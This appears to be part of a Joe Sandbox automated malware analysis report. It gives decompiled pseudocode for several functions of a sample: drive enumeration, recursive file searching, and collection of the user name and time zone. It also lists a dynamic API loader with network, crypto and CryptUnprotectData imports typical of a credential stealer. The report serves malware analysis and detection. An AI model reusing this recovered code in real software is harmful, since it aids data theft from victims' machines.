Part of subcall function 0040A4C2: LocalAlloc.KERNEL32(00000040,?,?,?,00000000,00407793), ref: 0040A4E1
Part of subcall function 0040A4C2: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,76426c3f362f5a47a469f0e9d8bc3eef,000000FF,00000000,00000000,?,?,?,00000000,00407793), ref: 0040A4F1

wsprintfW.USER32 ref: 004093E3

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: LocalAlloc.KERNEL32(00000040,00000000,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A533
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00409A74,00000000), ref: 004093FB
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00409A74,00000000), ref: 00409402
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00409A74,00000000,00000000,00000000,00000000,00000000), ref: 00409411
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00409A74,00000000,00000000,00000000,00000000,00000000), ref: 0040941B

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Local$Free$lstrcpyn$Alloclstrlen$ByteCharGlobalInfoMultiSystemWidewsprintf
String ID:
API String ID: 1885324996-0
Opcode ID: 88facd3d2ccba2b791435520d18aea57aba3ddc4eac04c95bc4be645a3463a6d
Instruction ID: bf3e6bb46204bb3e37d09e038ca25be6bf8868f14e997d98ff16e67e74bb5e03
Opcode Fuzzy Hash: 88facd3d2ccba2b791435520d18aea57aba3ddc4eac04c95bc4be645a3463a6d
Instruction Fuzzy Hash: 0D4192B1A002149FDB04CF69DDC496ABBF8EB48320B14857AFE09FB355D6749D50CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040ABD8 Relevance: 10.7, APIs: 7, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E0040ABD8(intOrPtr __ecx, short __edx) {
				intOrPtr _v20;
				short _v24;
				short _v28;
				short _v30;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr* _v44;
				WCHAR* _v48;
				char _v52;
				long _v56;
				void* _v60;
				intOrPtr _v68;
				char _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v108;
				void* _v112;
				short* _v136;
				WCHAR* _v140;
				char _v152;
				intOrPtr _v156;
				void* _t44;
				long _t47;
				signed int _t49;
				void* _t51;
				void* _t52;
				intOrPtr _t53;
				void* _t54;
				char _t55;
				intOrPtr _t57;
				intOrPtr* _t69;
				void* _t74;
				void* _t77;
				void* _t78;
				intOrPtr _t87;
				WCHAR* _t94;
				void* _t98;
				long _t102;
				void* _t105;
				WCHAR* _t107;
				void* _t110;
				short* _t111;
				void* _t112;
				signed int _t115;
				void* _t118;
				signed int _t119;
				signed int _t120;
				void* _t123;

				_v44 = 0;
				_v24 = __edx;
				_v20 = __ecx;
				_t78 =  *((intOrPtr*)( *0x40e044))(0x40, 0x1000, _t105, _t112, _t77);
				_t44 = E0040AE06(0, _t78,  &_v52, __ecx, 0, 0, __edx, 0); // executed
				_t123 = (_t120 & 0xfffffff8) - 0x2c + 0x14;
				if(_t44 >= 0) {
					_t107 =  *((intOrPtr*)( *0x40e044))(0x40, 0x410);
					_v48 = _t107;
					_t47 = GetLogicalDriveStringsW(0x208, _t107); // executed
					_v56 = _t47;
					if(_t47 == 0) {
						L10:
						if(_v60 > 0) {
							_t51 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
							_t52 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
							_t98 = 0x10;
							_t53 = E0040A05F(_t51, _t98);
							_v52 = _t53;
							_t54 =  *((intOrPtr*)( *0x40e13c))(_t52,  *0x40e210);
							_t110 = _v60;
							_t55 = E0040A503(_t54, _t110);
							_t87 =  *0x40e204; // 0x735b80
							_v72 = _t55;
							_v80 = _t87;
							_v76 = 0;
							_t57 = E00408619( &_v72);
							_v68 = _t57;
							_t118 =  *((intOrPtr*)( *0x40e044))(0x40, 0x184);
							 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t110, 0xffffffff, 0, 0, 0, 0);
							if(0 != 0) {
								 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t110, 0xffffffff, _t118, 0, 0, 0);
								if(0 != 0) {
									E00407EDB(_v136, _t118, 0, 0, _v156, _t78, _v140,  &_v152);
								}
							}
							LocalFree(_t118);
							LocalFree(_v108);
							LocalFree(_v112);
							LocalFree(_t110);
						}
						_t115 = 1;
						L16:
						LocalFree(_t78);
						_t49 = _t115;
						L17:
						return _t49;
					}
					_t119 = 0;
					if(_t47 == 0) {
						goto L10;
					}
					_t94 = _v48;
					_t111 =  &(_t107[0xfffffffffffffffe]);
					_t102 = _v56;
					_t69 = _t94 - 6;
					_v44 = _t69;
					do {
						if(_t119 <= 0) {
							goto L9;
						}
						_t102 = _v56;
						if(_t94[_t119] != 0) {
							goto L9;
						}
						_v32 =  *_t69;
						_v30 =  *_t111;
						_v28 = 0;
						_v24 = 0;
						_t74 = E0040AE06( &_v32, _t78,  &_v60, _v36,  &_v32, _t73, _v40, 0); // executed
						_t123 = _t123 + 0x14;
						if(_t74 < 0) {
							_t115 = _t119 | 0xffffffff;
							goto L16;
						}
						_t119 = _t119 + 1;
						_t94 = _v48;
						_t69 = _v44 + 2;
						_t102 = _v56;
						_t111 =  &(_t111[1]);
						L9:
						_t119 = _t119 + 3;
						_t69 = _t69 + 6;
						_t111 =  &(_t111[3]);
						_v44 = _t69;
					} while (_t119 < _t102);
					goto L10;
				}
				_t49 = LocalFree(_t78) | 0xffffffff;
				goto L17;
			}

0x0040abef
0x0040abfa
0x0040abfe
0x0040ac04
0x0040ac13
0x0040ac18
0x0040ac1d
0x0040ac42
0x0040ac4a
0x0040ac4e
0x0040ac50
0x0040ac56
0x0040acee
0x0040acf3
0x0040ad05
0x0040ad16
0x0040ad1a
0x0040ad1f
0x0040ad31
0x0040ad35
0x0040ad37
0x0040ad3f
0x0040ad44
0x0040ad4a
0x0040ad50
0x0040ad58
0x0040ad5c
0x0040ad6e
0x0040ad7a
0x0040ad8b
0x0040ad8f
0x0040ada6
0x0040adaa
0x0040adc4
0x0040adc9
0x0040adaa
0x0040adcd
0x0040add7
0x0040ade1
0x0040ade8
0x0040ade8
0x0040adf0
0x0040adf1
0x0040adf2
0x0040adf8
0x0040adfa
0x0040ae00
0x0040ae00
0x0040ac5e
0x0040ac62
0x00000000
0x00000000
0x0040ac68
0x0040ac6c
0x0040ac6f
0x0040ac73
0x0040ac76
0x0040ac7a
0x0040ac7c
0x00000000
0x00000000
0x0040ac84
0x0040ac88
0x00000000
0x00000000
0x0040ac91
0x0040ac9b
0x0040aca7
0x0040acab
0x0040acba
0x0040acbf
0x0040acc4
0x0040ae01
0x00000000
0x0040ae01
0x0040acce
0x0040accf
0x0040acd3
0x0040acd6
0x0040acda
0x0040acdd
0x0040acdd
0x0040ace0
0x0040ace3
0x0040ace6
0x0040acea
0x00000000
0x0040ac7a
0x0040ac26
0x00000000

APIs

LocalFree.KERNEL32(00000000), ref: 0040AC20
GetLogicalDriveStringsW.KERNEL32(00000208,00000000), ref: 0040AC4E

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: DriveFreeLocalLogicalStrings
String ID:
API String ID: 1768043713-0
Opcode ID: 99c62c4b5ef8cfe9a5f11bf27ef9e755505db6d71708b7bfda759fd71d10aa15
Instruction ID: 0df1316ab9a5c1427916cb56fbbb1f674cf856c690d2ecf6bb3ed985b7a3ed22
Opcode Fuzzy Hash: 99c62c4b5ef8cfe9a5f11bf27ef9e755505db6d71708b7bfda759fd71d10aa15
Instruction Fuzzy Hash: AF517EB1604311AFE304DB26DD44A2B76E9EBC8714F004A2EF959E72D0DA749D118BAB

Uniqueness

Uniqueness Score: -1.00%

Function 0040196E Relevance: 9.1, APIs: 6, Instructions: 130
fileCOMMON

Download Yara Rule

C-Code - Quality: 17%

			E0040196E(WCHAR* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v12;
				struct _WIN32_FIND_DATAW _v608;
				char _v1126;
				short _v1128;
				void* __ebx;
				void* __esi;
				void* _t33;
				int _t34;
				void* _t39;
				signed int _t41;
				void* _t62;
				WCHAR* _t83;
				intOrPtr _t84;
				WCHAR* _t85;
				void* _t86;

				_t84 = __edx;
				_v12 = __edx;
				_t83 = __ecx;
				if(_a12 > 2) {
					L11:
					return 1;
				}
				_push(__ecx);
				E004018E9( &_v1128, 0x104, __ecx, __ecx);
				E0040188C(0x104,  &_v1128, 0x104, __edx,  *0x40e1d0);
				_t33 = FindFirstFileW( &_v1128,  &_v608); // executed
				_t62 = _t33;
				if(_t62 != 0xffffffff) {
					do {
						if((_v608.dwFileAttributes & 0x00000010) == 0) {
							goto L9;
						}
						_push( *0x40e1dc);
						_push( &(_v608.cFileName));
						if( *((intOrPtr*)( *0x40e0a0))() != 0) {
							_push( *0x40e1ac);
							_push( &(_v608.cFileName));
							if( *((intOrPtr*)( *0x40e18c))() == 0) {
								L16:
								_t39 = 0x2e;
								if(_t39 != _v608.cFileName) {
									_t41 =  *((intOrPtr*)( *0x40e08c))(_t83);
									_t72 =  &_v1126 + _t41 * 2;
									_push( &_v1126 + _t41 * 2);
									E004018E9( &_v1126 + _t41 * 2, 0x104, _t72,  &(_v608.cFileName));
									E0040196E( &_v1128, _t84, _a4, _a8, _a12 + 1); // executed
									_t86 = _t86 + 0xc;
								}
								goto L9;
							}
							_push( *0x40e1cc);
							_push( &(_v608.cFileName));
							if( *((intOrPtr*)( *0x40e18c))() == 0) {
								goto L16;
							}
							_t85 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
							PathCombineW(_t85, _t83,  &(_v608.cFileName));
							_push(1);
							L6:
							_push(_a8);
							_push(_a4);
							E00401E18(_t85, _v12);
							_t86 = _t86 + 0xc;
							if(_t85 != 0) {
								LocalFree(_t85);
							}
							_t84 = _v12;
							goto L9;
						}
						_t85 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
						PathCombineW(_t85, _t83,  &(_v608.cFileName));
						_push(0);
						goto L6;
						L9:
						_t34 = FindNextFileW(_t62,  &_v608); // executed
					} while (_t34 != 0);
					FindClose(_t62); // executed
					goto L11;
				}
				return 0;
			}

0x0040197d
0x00401980
0x00401983
0x00401985
0x00401a54
0x00000000
0x00401a54
0x0040198b
0x0040199b
0x004019ae
0x004019c6
0x004019c8
0x004019cd
0x004019d6
0x004019dd
0x00000000
0x00000000
0x004019df
0x004019f0
0x004019f5
0x00401a5b
0x00401a6c
0x00401a71
0x00401ab1
0x00401ab3
0x00401abb
0x00401ac7
0x00401ad4
0x00401ad7
0x00401ae0
0x00401af8
0x00401afd
0x00401afd
0x00000000
0x00401abb
0x00401a73
0x00401a84
0x00401a89
0x00000000
0x00000000
0x00401a99
0x00401aa4
0x00401aaa
0x00401a18
0x00401a18
0x00401a20
0x00401a23
0x00401a28
0x00401a2d
0x00401a30
0x00401a30
0x00401a36
0x00000000
0x00401a36
0x00401a05
0x00401a10
0x00401a16
0x00000000
0x00401a39
0x00401a47
0x00401a49
0x00401a4e
0x00000000
0x00401a4e
0x00000000

APIs

FindFirstFileW.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004019C6
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00401A10
LocalFree.KERNEL32(00000000), ref: 00401A30
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00401A47
FindClose.KERNEL32(00000000), ref: 00401A4E
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00401AA4

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Find$CombineFilePath$CloseFirstFreeLocalNext
String ID:
API String ID: 1203334675-0
Opcode ID: 6a9ca44490c9a4a8961f3d1a0bee996609b7599d894a2e19d50e07a58da0faa2
Instruction ID: 3d68e71345cd2aefdee3dd56593ad5adbe6c8fe38e95c290ac396d302c259ee2
Opcode Fuzzy Hash: 6a9ca44490c9a4a8961f3d1a0bee996609b7599d894a2e19d50e07a58da0faa2
Instruction Fuzzy Hash: D2410571600214ABDB24EB55DD84FAB7378EB44300F00457AF905B32E0EB789E55CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040633E Relevance: 7.6, APIs: 5, Instructions: 103
fileCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0040633E(WCHAR* __ecx, long __edx, intOrPtr _a4, intOrPtr _a8) {
				char _v524;
				char _v536;
				char _v538;
				short _v540;
				char _v552;
				char _v1076;
				intOrPtr _v1084;
				struct _WIN32_FIND_DATAW _v1132;
				short* _v1148;
				void* __ebx;
				void* __esi;
				void* _t25;
				void* _t29;
				int _t31;
				void* _t34;
				signed int _t36;
				WCHAR* _t49;
				void* _t74;
				intOrPtr _t76;
				void* _t78;

				_t76 = _a8;
				_t49 = __ecx;
				_v1132.ftLastAccessTime.dwFileAttributes = __edx;
				if(_t76 > 2) {
					L10:
					_t25 = 1;
					L11:
					return _t25;
				}
				_push(__ecx);
				E004018E9( &_v524, 0x104, __ecx, __ecx);
				E0040188C(__ecx,  &_v536, 0x104, _t76,  *0x40e1d0);
				_t29 = FindFirstFileW( &_v540,  &_v1132); // executed
				_t74 = _t29;
				if(_t74 != 0xffffffff) {
					do {
						__eflags = _v1132.ftLastAccessTime.dwFileAttributes & 0x00000010;
						if((_v1132.ftLastAccessTime.dwFileAttributes & 0x00000010) != 0) {
							__eflags =  *((intOrPtr*)( *0x40e0a0))( &_v1076,  *0x40e394);
							if(__eflags != 0) {
								_t34 = 0x2e;
								__eflags = _t34 - _v1084;
								if(_t34 != _v1084) {
									_t36 =  *((intOrPtr*)( *0x40e08c))(_t49);
									_t59 =  &_v538 + _t36 * 2;
									_push( &_v538 + _t36 * 2);
									E004018E9( &_v538 + _t36 * 2, 0x104, _t59,  &(_v1132.cFileName));
									_t22 = _t76 + 1; // 0x407b87
									E0040633E( &_v552, _v1148, _a4, _t22); // executed
								}
							} else {
								_t78 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
								PathCombineW(_t78, _t49,  &(_v1132.dwReserved1));
								E00406725(_t78, _v1148, __eflags, _a4);
								__eflags = _t78;
								if(_t78 != 0) {
									LocalFree(_t78);
								}
								_t76 = _a8;
							}
						}
						_t31 = FindNextFileW(_t74,  &(_v1132.ftLastAccessTime)); // executed
						__eflags = _t31;
					} while (_t31 != 0);
					FindClose(_t74);
					goto L10;
				} else {
					_t25 = 0;
					goto L11;
				}
			}

0x0040634c
0x0040634f
0x00406351
0x00406359
0x00406417
0x00406417
0x00406419
0x0040641f
0x0040641f
0x0040635f
0x00406370
0x00406384
0x0040639b
0x0040639d
0x004063a2
0x004063a8
0x004063a8
0x004063ad
0x004063c1
0x004063c3
0x00406422
0x00406423
0x00406428
0x00406430
0x0040643e
0x00406441
0x00406448
0x00406451
0x0040645f
0x00406465
0x004063c5
0x004063d3
0x004063dc
0x004063eb
0x004063f1
0x004063f3
0x004063f6
0x004063f6
0x004063fc
0x004063fc
0x004063c3
0x0040640a
0x0040640c
0x0040640c
0x00406411
0x00000000
0x004063a4
0x004063a4
0x00000000
0x004063a4

APIs

FindFirstFileW.KERNEL32(?,?,?,?,?,00000000,?,00000000), ref: 0040639B
PathCombineW.SHLWAPI(00000000,?,?), ref: 004063DC
LocalFree.KERNEL32(00000000), ref: 004063F6
FindNextFileW.KERNELBASE(00000000,00000010), ref: 0040640A
FindClose.KERNEL32(00000000), ref: 00406411

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Find$File$CloseCombineFirstFreeLocalNextPath
String ID:
API String ID: 3818457336-0
Opcode ID: eaed1e93e5892b48d27f800aebad6855d1cc82eb2c9bf3f724fc16a94e156a62
Instruction ID: a2e91296d065ef1b0a06dad1807512ccc5f2754619bc6de4979fdad6ab57a53e
Opcode Fuzzy Hash: eaed1e93e5892b48d27f800aebad6855d1cc82eb2c9bf3f724fc16a94e156a62
Instruction Fuzzy Hash: CE310272104316ABD714EB54DC80DBB73A8EB84314F00493EFD56A32E0DB79A919DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040919C Relevance: 4.5, APIs: 3, Instructions: 39
timeCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E0040919C(intOrPtr* _a4) {
				struct _TIME_ZONE_INFORMATION _v176;
				void* _t8;
				void* _t20;
				intOrPtr* _t21;

				GetTimeZoneInformation( &_v176); // executed
				_t20 =  *((intOrPtr*)( *0x40e044))(0x40, 0x400);
				_push( ~(_v176.Bias));
				_t8 = 0x2b;
				_t15 =  >  ? _t8 : 0;
				wsprintfW(_t20,  *0x40e2f4,  >  ? _t8 : 0);
				_t21 = _a4;
				 *_t21 = E0040A503( *_t21, _t20);
				LocalFree(_t20);
				return 1;
			}

0x004091ae
0x004091cc
0x004091ce
0x004091d1
0x004091d4
0x004091df
0x004091e5
0x004091f5
0x004091f7
0x00409203

APIs

GetTimeZoneInformation.KERNEL32(?,-00000014,74715850), ref: 004091AE
wsprintfW.USER32 ref: 004091DF

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: LocalAlloc.KERNEL32(00000040,00000000,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A533
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(00000000), ref: 004091F7

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocallstrlen$AllocGlobalInformationTimeZonewsprintf
String ID:
API String ID: 3282131229-0
Opcode ID: 0c261c65a445bae399a99a2b287ec62879060ec21ec3ab2ad3353035a3fa855c
Instruction ID: 22640a5e82af922e2c0672ad49884a71deb67002d2383c126f26ce4509f9bf47
Opcode Fuzzy Hash: 0c261c65a445bae399a99a2b287ec62879060ec21ec3ab2ad3353035a3fa855c
Instruction Fuzzy Hash: 2FF096B1700210AFF714AB6AED05F6BB7F9EFC9710F008839FA46E7150D6B499118A69

Uniqueness

Uniqueness Score: -1.00%

Function 0059092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 005909DC, 005909DF, 005909E4
., xrefs: 0059095F
l, xrefs: 00590966

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: a3d99042c4777829df1b3507906a4eeac72b683ae48dc583899a027565d3a2a7
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: F3316AB6900609DFDF10CF99C884AAEBBF9FF48324F24544AD841AB351D771EA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040A672 Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040A672(void* __ecx) {
				long _v8;
				void* _t9;
				WCHAR* _t10;

				_v8 = 0x101;
				_t10 =  *((intOrPtr*)( *0x40e044))(0x40, 0x202, _t9, __ecx);
				GetUserNameW(_t10,  &_v8); // executed
				return _t10;
			}

0x0040a683
0x0040a68c
0x0040a693
0x0040a69d

APIs

GetUserNameW.ADVAPI32(00000000,00000101), ref: 0040A693

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: d1904d6b7f39e67c7bb99d3a0e0e7b9e3097bfc240a7c331603b2b932608badc
Instruction ID: 829893f7f7874bcec709fc38dd40a9501cb2b48959beeca35c44734de89a3163
Opcode Fuzzy Hash: d1904d6b7f39e67c7bb99d3a0e0e7b9e3097bfc240a7c331603b2b932608badc
Instruction Fuzzy Hash: 13D05EB2200224BBD70097999E09ECAB6ACDB09750F000161BB15E7281D6B49E0087E9

Uniqueness

Uniqueness Score: -1.00%

Function 0040100B Relevance: 224.5, APIs: 18, Strings: 110, Instructions: 531
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(kernel32.dll,?,?,00407780), ref: 00401016
GetProcAddress.KERNEL32(00000000,LoadLibraryW), ref: 00401036
LoadLibraryW.KERNEL32(Shlwapi.dll,?,?,?,?,?,00407780), ref: 00401042
LoadLibraryW.KERNEL32(Ole32.dll,?,?,?,?,?,00407780), ref: 00401051
LoadLibraryW.KERNEL32(WinInet.dll,?,?,?,?,?,00407780), ref: 00401061
LoadLibraryW.KERNEL32(Crypt32.dll,?,?,?,?,?,00407780), ref: 00401091
LoadLibraryW.KERNEL32(Shell32.dll,?,?,?,?,?,00407780), ref: 004010A1
LoadLibraryW.KERNEL32(Bcrypt.dll,?,?,?,?,?,00407780), ref: 004010AA
GetProcAddress.KERNEL32(?,GetProcAddress), ref: 004010B8
GetProcAddress.KERNEL32(?,HeapFree), ref: 00401297
GetProcAddress.KERNEL32(?,Sleep), ref: 00401369
GetProcAddress.KERNEL32(00000000,StrToIntA), ref: 004014CB
GetProcAddress.KERNEL32(00000000,StrToInt64ExW), ref: 004014E9
GetProcAddress.KERNEL32(?,CharUpperW), ref: 004015C1
GetProcAddress.KERNEL32(?,InternetOpenUrlA), ref: 004016F6
GetProcAddress.KERNEL32(?,InternetReadFileExW), ref: 00401714
GetProcAddress.KERNEL32(?,HttpQueryInfoA), ref: 00401768
GetProcAddress.KERNEL32(?,HttpQueryInfoW), ref: 00401774

Strings

ReleaseDC, xrefs: 0040161C
FindClose, xrefs: 00401244
GetTimeZoneInformation, xrefs: 00401190
StrToIntW, xrefs: 004014D6
InternetOpenUrlA, xrefs: 004016EB
CoInitialize, xrefs: 00401643
lstrlenA, xrefs: 004013C4
ConvertSidToStringSidW, xrefs: 004014F7
SHGetSpecialFolderPathW, xrefs: 00401430
kernel32.dll, xrefs: 00401011
GetUserDefaultLocaleName, xrefs: 0040117E
WideCharToMultiByte, xrefs: 004013FA
GetUserNameW, xrefs: 00401535
LocalFree, xrefs: 004012CE
lstrlenW, xrefs: 004013D6
lstrcmpiW, xrefs: 00401398
Sleep, xrefs: 0040135E
GetLastError, xrefs: 00401100
GetFileSize, xrefs: 004010DC
ShellExecuteW, xrefs: 0040140C
GetLocaleInfoW, xrefs: 00401112
Process32Next, xrefs: 00401328
Advapi32.dll, xrefs: 00401069
GlobalFree, xrefs: 004011B4
CryptStringToBinaryA, xrefs: 0040166A
lstrcpyA, xrefs: 00401374
User32.dll, xrefs: 00401079
SetEnvironmentVariableW, xrefs: 0040134C
GlobalMemoryStatusEx, xrefs: 004011C6
OpenMutexW, xrefs: 004012AA
InternetCloseHandle, xrefs: 00401727
CreateToolhelp32Snapshot, xrefs: 0040127A
SHGetFolderPathW, xrefs: 0040141E
StrRChrW, xrefs: 00401466
wsprintfW, xrefs: 0040162E
InternetOpenUrlW, xrefs: 00401701
Process32First, xrefs: 00401316
StrStrW, xrefs: 0040149C
InternetConnectW, xrefs: 004016B5
GetDesktopWindow, xrefs: 004015F8
RegEnumKeyExW, xrefs: 0040156B
CopyFileW, xrefs: 0040120E
StrCpyW, xrefs: 00401478
WinInet.dll, xrefs: 00401059
OpenProcess, xrefs: 004012BC
InternetReadFile, xrefs: 0040171F
RegOpenKeyExW, xrefs: 0040157D
InternetOpenW, xrefs: 004016C7
GetDriveTypeW, xrefs: 004010EE
CreateFileW, xrefs: 004011EA
RegCloseKey, xrefs: 00401559
lstrcmpA, xrefs: 004013A0
CloseHandle, xrefs: 004011D8
CoCreateInstance, xrefs: 00401655
GetSystemMetrics, xrefs: 0040160A
GetSystemInfo, xrefs: 00401152
CreateProcessWithTokenW, xrefs: 004014FF
Shell32.dll, xrefs: 00401099
InternetSetOptionW, xrefs: 004016D9
GetClientRect, xrefs: 004015DE
LoadLibraryW, xrefs: 00401030
Crypt32.dll, xrefs: 00401089
MultiByteToWideChar, xrefs: 004012F2
DeleteFileW, xrefs: 00401220
GetCurrentProcess, xrefs: 004010BD
DuplicateTokenEx, xrefs: 00401511
lstrcpynA, xrefs: 0040137C
HttpQueryInfoA, xrefs: 0040175D
GetTokenInformation, xrefs: 00401523
FindFirstFileW, xrefs: 00401256
HttpOpenRequestW, xrefs: 00401739
SetCurrentDirectoryW, xrefs: 0040133A
FindNextFileW, xrefs: 00401272
GetUserDefaultLCID, xrefs: 0040116C
RegQueryValueExW, xrefs: 0040158F
GetDC, xrefs: 004015E6
CryptStringToBinaryW, xrefs: 0040167C
OpenProcessToken, xrefs: 00401547
GetEnvironmentVariableW, xrefs: 004010CA
EnumDisplayDevicesW, xrefs: 004015CC
HeapFree, xrefs: 0040128C
FreeLibrary, xrefs: 00401232
GetProcAddress, xrefs: 004010B0
StrStrIW, xrefs: 004014B8
Ole32.dll, xrefs: 0040104C
CreateMutexW, xrefs: 004011FC
StrStrA, xrefs: 0040148A
ExitProcess, xrefs: 004012A2
pR"p, xrefs: 004016F1
CryptUnprotectData, xrefs: 004016A0
GetSystemWow64DirectoryW, xrefs: 0040115A
GetLogicalDriveStringsW, xrefs: 00401124
CryptBinaryToStringW, xrefs: 0040168E
StrToInt64ExW, xrefs: 004014DE
CharUpperW, xrefs: 004015B6
GetModuleFileNameW, xrefs: 00401136
GlobalAlloc, xrefs: 004011A2
PathMatchSpecW, xrefs: 00401442
InternetReadFileExW, xrefs: 00401709
ReadFile, xrefs: 00401304
SystemFunction036, xrefs: 004015A1
Bcrypt.dll, xrefs: 004010A3
WriteFile, xrefs: 004013E8
lstrcmpW, xrefs: 004013B2
PathCombineW, xrefs: 00401454
StrToIntA, xrefs: 004014C0
LocalAlloc, xrefs: 004012E0
HttpQueryInfoW, xrefs: 0040176E
Shlwapi.dll, xrefs: 00401038
HttpSendRequestW, xrefs: 0040174B

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: Advapi32.dll$Bcrypt.dll$CharUpperW$CloseHandle$CoCreateInstance$CoInitialize$ConvertSidToStringSidW$CopyFileW$CreateFileW$CreateMutexW$CreateProcessWithTokenW$CreateToolhelp32Snapshot$Crypt32.dll$CryptBinaryToStringW$CryptStringToBinaryA$CryptStringToBinaryW$CryptUnprotectData$DeleteFileW$DuplicateTokenEx$EnumDisplayDevicesW$ExitProcess$FindClose$FindFirstFileW$FindNextFileW$FreeLibrary$GetClientRect$GetCurrentProcess$GetDC$GetDesktopWindow$GetDriveTypeW$GetEnvironmentVariableW$GetFileSize$GetLastError$GetLocaleInfoW$GetLogicalDriveStringsW$GetModuleFileNameW$GetProcAddress$GetSystemInfo$GetSystemMetrics$GetSystemWow64DirectoryW$GetTimeZoneInformation$GetTokenInformation$GetUserDefaultLCID$GetUserDefaultLocaleName$GetUserNameW$GlobalAlloc$GlobalFree$GlobalMemoryStatusEx$HeapFree$HttpOpenRequestW$HttpQueryInfoA$HttpQueryInfoW$HttpSendRequestW$InternetCloseHandle$InternetConnectW$InternetOpenUrlA$InternetOpenUrlW$InternetOpenW$InternetReadF